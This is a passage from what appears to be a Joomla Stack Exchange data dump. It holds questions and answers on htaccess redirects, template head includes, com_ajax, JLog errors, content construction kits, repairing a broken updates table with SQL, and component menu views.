htaccess.&lt;/strong&gt;&lt;br&gt;&#xA;You can redirect all other URLs to the one that you want at the main. This can be achieved with &lt;strong&gt;SEF Extensions&lt;/strong&gt; or &lt;strong&gt;htaccess&lt;/strong&gt;. Both provide great power, however htaccess has great flexibility considering the ability to use regular expressions for all kinds of redirections/ or rewrites using the mod_rewrite. Regarding J Extensions, when the need arises, I usually use &lt;a href=&quot;https://extensions.joomla.org/extension/sh404sef/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;sh404SEF&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;sub&gt;&lt;strong&gt;Update:&lt;/strong&gt; As @Neil Robertson noted on the comments: one important redirection is from non-www version of the website to the&#xA;  www version of the website or vice versa. Add this to the .htaccess&#xA;  file for non-www to www redirection.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ### Redirect non-www to www&#xA;    RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;    RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;    ### Redirect non-www to www - END &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using Google Webmasters Tools&lt;/strong&gt;&lt;br&gt;&#xA;Google Webmasters Tools have options to adjust how the crawler should behave with your &lt;a href=&quot;https://support.google.com/webmasters/answer/6080550?hl=en&quot; rel=&quot;noreferrer&quot;&gt;URL parameters&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using Sitemaps&lt;/strong&gt;&lt;br&gt;&#xA;Submit to the Search Engines your site's URL structure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using Robots.txt file&lt;/strong&gt;&lt;br&gt;&#xA;Google and other major SE are respecting your Robots.txt. You can instruct them to not crawl specific directories/url paths.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All the above options can be combined in order to produce the desired outcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;*Like everywhere, so in Joomla, good planning and content organization always help to reach to a better result. Especially with Joomla, this also involves a clean content categorization and menu items structure.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;5. References and links&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;Joomla SEO Extensions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Usually in Joomla if you want to deal with this efficiently you would end up installing a 3rd party SEO-SEF extension.   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/seo-a-metadata&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;JED: SEO Extensions&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/sef&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;JED: SEF Extensions&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;More reading:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/66359?hl=en&quot; rel=&quot;noreferrer&quot;&gt;Google : Duplicate Content&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=6hSoXutuj0g&quot; rel=&quot;noreferrer&quot;&gt;Google Webmasters YouTube: Duplicate Content&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://youtu.be/Cm9onOGTgeM&quot; rel=&quot;noreferrer&quot;&gt;Google Webmasters YouTube: Duplicate Content-Using Canonical URLs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://moz.com/learn/seo/duplicate-content&quot; rel=&quot;noreferrer&quot;&gt;Moz: What is Duplicate Content?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Query_string&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia: Query string&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.htaccess-guide.com&quot; rel=&quot;noreferrer&quot;&gt;htaccess&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/htaccess/modrewrite-tips-tricks.html&quot; rel=&quot;noreferrer&quot;&gt;htaccess mod_rewrite&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-03-21T09:08:24.467" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5542" PostTypeId="1" AcceptedAnswerId="5543" CreationDate="2014-12-04T11:39:25.610" Score="7" ViewCount="1201" Body="&lt;p&gt;When building a template, you must put one (and only one) of these calls inside your &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checking here does not provide much extra info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Jdoc_statements#Head&quot;&gt;https://docs.joomla.org/Jdoc_statements#Head&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: what exactly gets loaded in this call? I know this will load additional javascript and CSS files when using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addStyleSheet($url);&#xA;$document-&amp;gt;addScript($url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or custom tags using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addCustomTag($stylelink);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anything else? And is there a way to order what's loaded there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2014-12-04T11:44:33.597" Title="What exactly gets loaded &quot;inside&quot; template's jinclude type=head call?" Tags="|joomla-3.x|development|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5543" PostTypeId="2" ParentId="5542" CreationDate="2014-12-04T11:44:33.597" Score="2" Body="&lt;p&gt;In Joomla 3.x, &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; loads the following (in no particular order):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;jQuery library&lt;/li&gt;&#xA;&lt;li&gt;jQuery noConflict&lt;/li&gt;&#xA;&lt;li&gt;jQuery migrate&lt;/li&gt;&#xA;&lt;li&gt;Bootstrap library&lt;/li&gt;&#xA;&lt;li&gt;MooTools library&lt;/li&gt;&#xA;&lt;li&gt;All &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; information&lt;/li&gt;&#xA;&lt;li&gt;Any CSS and JS files for extensions on pages they're assigned to&lt;/li&gt;&#xA;&lt;li&gt;Any CSS or JS declarations being used in extensions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mootools&lt;/strong&gt; gets loaded as there are still things in Joomla that require it. It will eventually get removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jQuery&lt;/strong&gt; gets loaded because Bootstrap requires it and Joomla 3.x uses Bootstrap (unfortunately).&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-04T11:44:33.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5544" PostTypeId="2" ParentId="5540" CreationDate="2014-12-04T12:06:17.963" Score="4" Body="&lt;p&gt;It is certainly fired, via &lt;strong&gt;F0FModel&lt;/strong&gt; ($context = 'com_akeebasubs.subscriptions').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply check it in &lt;em&gt;PlgContentJoomla / onContentBeforeDelete&lt;/em&gt; (where the function is executed and returns when the context is not 'com_categories.category').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plugin is not being fired, check if it is enabled as System or Content plugin to receive the event.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-04T12:06:17.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5545" PostTypeId="2" ParentId="5539" CreationDate="2014-12-04T12:14:46.613" Score="4" Body="&lt;p&gt;A simple way to introduce a Ajax is with &lt;em&gt;Joomla Ajax Interface&lt;/em&gt;:.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is The Joomla Ajax Interface (com_ajax)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A slim, extensible component to act as an entry point for HTTP requests for stand alone modules and plugins, thus allowing for the potential of Ajax functionality in them. Com_ajax is generally used when you are not the developer of the component that the module or plugin is interacting with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: If you are a component developer, you do not need to use com_ajax to implement Ajax functionality in it. You can do so directly in your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of use cases include, but are not limited to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A module that retrieves data from an external API&lt;/li&gt;&#xA;&lt;li&gt;A module that interacts with a component that you did not develop&lt;/li&gt;&#xA;&lt;li&gt;A plugin that implement API like functionality to allow consumption of data from your site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-04T12:14:46.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5546" PostTypeId="2" ParentId="5521" CreationDate="2014-12-04T12:20:05.977" Score="1" Body="&lt;p&gt;You have to force all users to have a certain cookie (session). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A local proxy can redirect users to your local website, until the user login and generates the required cookie. Once users are logged in, they can freely navigate through the proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: This is not a Joomla! specific question... more related with cybercafes!&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-04T12:20:05.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5547" PostTypeId="2" ParentId="5533" CreationDate="2014-12-04T12:28:23.047" Score="1" Body="&lt;p&gt;I think you are looking for a way to install one extension in several sites, and  streamline some customization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin or module would be only for you to show fixed content under certain specific conditions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;site-1 -&gt; images/pictureXY.jpg&lt;/li&gt;&#xA;&lt;li&gt;site-2 -&gt; Hello there&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is certainly possible, but you have to create it to hardcode the customizations according the site.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-04T12:28:23.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5548" PostTypeId="2" ParentId="5533" CreationDate="2014-12-04T12:45:42.657" Score="0" Body="&lt;p&gt;You would probably have to make something that specific yourself. Basically, you can make a plugin or module that checks the current domain with an if-else statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(strpos( $_SERVER['HTTP_HOST'], 'site1.com') == true){&#xA;    echo '&amp;lt;img src=&quot;images/pictureXY.jpg&quot;&amp;gt;';&#xA;} elseif (strpos( $_SERVER['HTTP_HOST'], 'site2.com') == true) {&#xA;    echo 'Hello there';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-04T12:45:42.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5549" PostTypeId="1" AcceptedAnswerId="5558" CreationDate="2014-12-04T14:08:51.870" Score="5" ViewCount="124" Body="&lt;p&gt;JLog is serializing everything in its way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$signature = md5(serialize($options));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/ac589fd45aaa88a5e9d972cacceec083cb4c754b/libraries/joomla/log/log.php#L191&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/ac589fd45aaa88a5e9d972cacceec083cb4c754b/libraries/joomla/log/log.php#L191&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our plugin we are reading xml file to get the template version tag&#xA;&lt;a href=&quot;https://github.com/YJSGframework/yjsg/blob/master/includes/yjsgcore/classes/yjsg.class.php#L380&quot; rel=&quot;nofollow&quot;&gt;https://github.com/YJSGframework/yjsg/blob/master/includes/yjsgcore/classes/yjsg.class.php#L380&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with joomla debug on, that data gets serialized and I get an error . &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Serialization of 'SimpleXMLElement' is not allowed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to unserialzie SimpleXMLElement data I get no data back . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to exclude specific files or views from Jlog ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update:&lt;/strong&gt; &#xA;Dmitry pushed me to check more and here is what I get &lt;/p&gt;&#xA;&#xA;&lt;p&gt;error everything on &#xA;&lt;a href=&quot;http://prntscr.com/5d51ip&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/5d51ip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;changed signatrue var &#xA;&lt;a href=&quot;http://prntscr.com/5d51tx&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/5d51tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no SimpleXMLElement error.&#xA;&lt;a href=&quot;http://prntscr.com/5d51yg&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/5d51yg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if I change serialize to json_decode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$signature = md5(json_decode($options));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;everything works.&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="200" LastEditDate="2014-12-04T16:08:51.157" LastActivityDate="2014-12-04T21:23:07.043" Title="How to exclude files or views from joomla debug?" Tags="|joomla-3.x|joomla-framework-1.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5550" PostTypeId="1" CreationDate="2014-12-04T15:25:04.483" Score="4" ViewCount="2746" Body="&lt;p&gt;Is there an easy to use CCK out there that a newbie can try and not get discouraged? I tested a market leader and my brain fried. Two hours and nothing to show for it. I need something with a form front-end to create an application (for our little neighborhood association).&lt;/p&gt;&#xA;" OwnerUserId="2307" LastEditorUserId="2307" LastEditDate="2014-12-04T17:22:27.610" LastActivityDate="2017-10-16T09:38:40.733" Title="Easy to use CCK?" Tags="|joomla-3.x|cck|" AnswerCount="12" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5551" PostTypeId="1" AcceptedAnswerId="5553" CreationDate="2014-12-04T16:18:01.993" Score="4" ViewCount="8184" Body="&lt;p&gt;I have recently updated Joomla from v 3.2.3 to 3.3.6 but for some reason when I'm trying to install anything I'm now getting an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1146  Table 'dbname.ku42W_updates' doesn't exist SQL=SHOW COLUMNS IN `ku42W_updates`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried the following SQL query but it's not working, it's saying table doesn't exist!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `ku42W_updates` (&#xA;  `update_id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `update_site_id` int(11) DEFAULT 0,&#xA;  `extension_id` int(11) DEFAULT 0,&#xA;  `name` varchar(100) DEFAULT '',&#xA;  `description` text NOT NULL,&#xA;  `element` varchar(100) DEFAULT '',&#xA;  `type` varchar(20) DEFAULT '',&#xA;  `folder` varchar(20) DEFAULT '',&#xA;  `client_id` tinyint(3) DEFAULT 0,&#xA;  `version` varchar(32) DEFAULT '',&#xA;  `data` text NOT NULL,&#xA;  `detailsurl` text NOT NULL,&#xA;  `infourl` text NOT NULL,&#xA;  `extra_query` varchar(1000) DEFAULT '',&#xA;  PRIMARY KEY (`update_id`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Available Updates';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried creating the database table manually, but then getting the same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go into Extensions &gt;&gt; Extension Manager &gt;&gt; Database &gt;&gt; Fix, I'm getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1146 Table 'kingswood.kw_updates' doesn't exist SQL=SHOW COLUMNS IN `kw_updates` WHERE field = 'infourl'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I can do to resolve it? Thanks&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2014-12-04T16:25:20.770" LastActivityDate="2016-01-03T00:52:45.310" Title="Joomla update broken updates table" Tags="|joomla-3.x|joomla-3.3.x|mysql|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5552" PostTypeId="2" ParentId="5550" CreationDate="2014-12-04T16:27:19.037" Score="2" Body="&lt;p&gt;Check out &lt;strong&gt;RSform Pro&lt;/strong&gt; (&lt;a href=&quot;http://www.rsjoomla.com/joomla-extensions/joomla-form.html&quot; rel=&quot;nofollow&quot;&gt;http://www.rsjoomla.com/joomla-extensions/joomla-form.html&lt;/a&gt;) You have the ability to to populate fields with values taken from an external table or from any Joomla table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also get an email with PDF of the application once submitted if you like. This can be sent to any number of emails or your Google Drive account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extension also allows for custom php scripting such as scripts called on form display / on form process / after form process. So you have the option of writing your own functions and embedding these within your form, alternatively there are a number of plugins that come with the pro version - &lt;a href=&quot;http://www.rsjoomla.com/support/documentation/view-knowledgebase/26-plugins-and-modules.html&quot; rel=&quot;nofollow&quot;&gt;http://www.rsjoomla.com/support/documentation/view-knowledgebase/26-plugins-and-modules.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only one I'm not sure about is Number 4 on your list - Save on next. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the re-direct there are also plugins available for this such as &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/login-redirect&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-access/login-redirect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="174" LastEditDate="2014-12-05T13:37:43.130" LastActivityDate="2014-12-05T13:37:43.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5553" PostTypeId="2" ParentId="5551" CreationDate="2014-12-04T17:15:47.047" Score="5" Body="&lt;p&gt;I resolved this by a fresh and clean install of Joomla 3.3.6, then I migrated across all of the relevant database tables. Not pretty (or quick) but it's working now at least!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fix works much better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE #####_updates;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `#####_updates` (&#xA;  `update_id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `update_site_id` int(11) DEFAULT 0,&#xA;  `extension_id` int(11) DEFAULT 0,&#xA;  `name` varchar(100) DEFAULT '',&#xA;  `description` text NOT NULL,&#xA;  `element` varchar(100) DEFAULT '',&#xA;  `type` varchar(20) DEFAULT '',&#xA;  `folder` varchar(20) DEFAULT '',&#xA;  `client_id` tinyint(3) DEFAULT 0,&#xA;  `version` varchar(32) DEFAULT '',&#xA;  `data` text NOT NULL,&#xA;  `detailsurl` text NOT NULL,&#xA;  `infourl` text NOT NULL,&#xA;  `extra_query` varchar(1000) DEFAULT '',&#xA;  PRIMARY KEY (`update_id`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Available Updates';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replace ##### with your table prefix&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-05-06T07:58:13.083" LastActivityDate="2015-05-06T07:58:13.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5554" PostTypeId="2" ParentId="5550" CreationDate="2014-12-04T17:40:17.127" Score="3" Body="&lt;p&gt;Typically, you gotta do a chunk of set up to make a CCK usable on the client side, so you do need to have some development skills to get it going. Here's some stuff I can tell you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not used &lt;strong&gt;Fabrik&lt;/strong&gt;, yet, but I have heard nothing but good stuff, and it seems to be the simplest of the CCKs, though again, if you want crazy functionality, you need to be able to get into the code.&#xA; // **AMENDMENT ** I have since used Fabrik and found it to be nothing but an exercise in frustration. I do not recommend it unless you are using it strictly for tables and rows of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ContentBuilder&lt;/strong&gt; - I have used this, and I am not a huge fan, but it is more toggles and switches orientated than it is development orientated, so it might be an option for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;K2&lt;/strong&gt; - this is a huge component, with a ton of expandability, I've used it extensively. If you want to go straight out of the box, you'll be okay. As soon as you want to 'move this extra field over here' you need to get into the php and template overrides. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sobipro&lt;/strong&gt; - this is my current go-to for CCKs - It's not as intuitive as I'd like, for development, but if you're just flipping toggles and switches, you'll be okay. This one depends heavily on code if you want to customize the output.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2016-03-30T18:55:15.880" LastActivityDate="2016-03-30T18:55:15.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5555" PostTypeId="1" AcceptedAnswerId="5556" CreationDate="2014-12-04T18:40:15.347" Score="2" ViewCount="245" Body="&lt;p&gt;In Joomla 3.2, I have a component with many views. I want to create a menu item that will point to each separate view. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/view1&lt;/code&gt; would redirect to &lt;code&gt;?option=com_mycomponent&amp;amp;view=view1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/view2&lt;/code&gt; would redirect to &lt;code&gt;?option=com_mycomponent&amp;amp;view=view2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue im having is that none of the views I've created do not appear in the selector when I try to select a menu item type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get those views to show up in the admin item type selector popup?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="126" LastEditDate="2014-12-04T20:47:52.453" LastActivityDate="2014-12-04T20:47:52.453" Title="Component Views don't appear when creating a new menu item" Tags="|component|development|menu-item|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5556" PostTypeId="2" ParentId="5555" CreationDate="2014-12-04T18:55:42.560" Score="2" Body="&lt;p&gt;Insure that there is a matching XML file for the view in the \tmpl folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_MYCOMPONENT_VIEW_TITLE&quot; option=&quot;View&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;                        &amp;lt;![CDATA[COM_MYCOMPONENT_VIEW_DESC]]&amp;gt;&#xA;        &amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-04T18:55:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5557" PostTypeId="1" CreationDate="2014-12-04T19:38:55.547" Score="1" ViewCount="49" Body="&lt;p&gt;I have a component view being mapped to an alias:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/view1&lt;/code&gt; is being redirected to &lt;code&gt;?option=com_mycomponent&amp;amp;view=view1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hit www.mysite.com/view1, I can see that the execution path is hitting the default.php of view1 by putting some debugging and and exit in there. The issue is when the page continues to load, the html that is added inside the default.php is removed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have this issue when I use an alias for the default view in the component and specify the task in the url. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/mycomponent?view=view1&lt;/code&gt; will load properly, where the alias &lt;code&gt;mycomponent&lt;/code&gt; maps to the com_mycomponent's default view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to alias the view directly using &lt;code&gt;/view1&lt;/code&gt; and have it behave the same way as if i had specified the view in the url. Is there a way to do that? &lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-12-04T22:09:25.733" Title="HTML in the Component's view is being overwritten" Tags="|component|menu-item|view|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5558" PostTypeId="2" ParentId="5549" CreationDate="2014-12-04T20:57:20.770" Score="2" Body="&lt;p&gt;I'm not sure that this will solve your problem, but it does answer your question in that you referenced &lt;code&gt;libraries/joomla/log/log.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per &lt;a href=&quot;https://docs.joomla.org/Using_JLog&quot; rel=&quot;nofollow&quot;&gt;Using JLog&lt;/a&gt;, and the &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JLog.html&quot; rel=&quot;nofollow&quot;&gt;JLog Class Reference&lt;/a&gt;, only the component, output file, priority, and format can be specified, but nothing else - no exclusions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this applies to adding a jLog to your code, unless you're intending to change core files and set options there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On a side note&lt;/em&gt;, I've noticed that when I specify a file name for output, it seems to become the default file for Joomla once a log entry is made. I haven't had a chance to investigate it, and it hasn't interfered, but may be handy to know.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-04T21:23:07.043" LastActivityDate="2014-12-04T21:23:07.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5559" PostTypeId="2" ParentId="5557" CreationDate="2014-12-04T22:09:25.733" Score="1" Body="&lt;p&gt;I'm sorry I'm not a programmer that writes this part but there are two approaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is to formulate your router to specifically direct that view.  There's the Joomla default router, but you can also craft the router to be more accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other answer would be the per-site choice which is to use an external SEF manager like sh404SEF that would ensure the view is fully attributed each time the alias is used.  You actually get to see the URL there in the cache and make sure it includes the &quot;view&quot; aspect in the nonSEF url.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-12-04T22:09:25.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
